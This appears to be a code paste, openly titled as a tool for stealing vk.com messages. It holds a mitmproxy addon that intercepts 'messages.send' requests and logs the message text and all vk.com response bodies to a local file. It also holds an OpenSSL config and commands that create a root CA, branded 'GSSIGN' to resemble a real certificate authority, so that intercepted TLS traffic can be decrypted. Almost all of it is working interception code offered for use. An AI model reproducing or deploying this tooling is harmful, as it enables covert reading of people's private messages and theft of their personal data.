mitmproxy vk.com message stealing

dump_vk_request.py

from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if "messages.send" in flow.request.pretty_url:
        with open("requests.log", "a") as log_file:
            if flow.request.content:
                if "application/x-www-form-urlencoded" in flow.request.headers.get("Content-Type", ""):
                    if flow.request.urlencoded_form['message']:
                        log_file.write("Данные формы (URL-encoded):\n")
                        log_file.write(f"{flow.request.urlencoded_form['message']}\n")
                elif "multipart/form-data" in flow.request.headers.get("Content-Type", ""):
                    log_file.write("Данные формы (multipart):\n")
                    for key, value in flow.request.multipart_form.items():
                        if key == "message":
                            log_file.write(f"{key}: {value}\n")
                else:
                    log_file.write(f"Тело запроса: {flow.request.text}\n")
            log_file.write("\n")

def response(flow: http.HTTPFlow) -> None:
    if "vk.com" in flow.request.host:
        with open("requests.log", "a") as log_file:
            if flow.response.content:
                log_file.write(f"Тело ответа: {flow.response.text}\n")
            log_file.write("\n")

Конфиг для генерации

[ ca ]
default_ca = CA_default

[ CA_default ]
default_md        = sha256

[ req ]
prompt = no
default_bits       = 2048
distinguished_name = req_distinguished_name
x509_extensions    = v3_ca

[ req_distinguished_name ]
stateOrProvinceName    = US
localityName           = US
organizationName       = GSSIGN
organizationalUnitName = GSSIGN
commonName             = rootCA
emailAddress           = [email protected]

[ v3_ca ] # раздел для расширений
keyUsage = critical, cRLSign, keyCertSign, digitalSignature, keyEncipherment
extendedKeyUsage = serverAuth, clientAuth, emailProtection, timeStamping
basicConstraints = critical, CA:TRUE

Скрипт для генерации:

        echo "Generate root CA key ...";
        openssl genpkey -algorithm RSA -out root.key -pkeyopt rsa_keygen_bits:2048;
        echo "Generate root CA certificate ...";
        openssl req -x509 -new -nodes -key ./root.key -sha256 -days $DAYS -out ./root.crt -passin pass:$2 -config ./root.cnf;
        cat ./root.key ./root.crt > ./full.pem;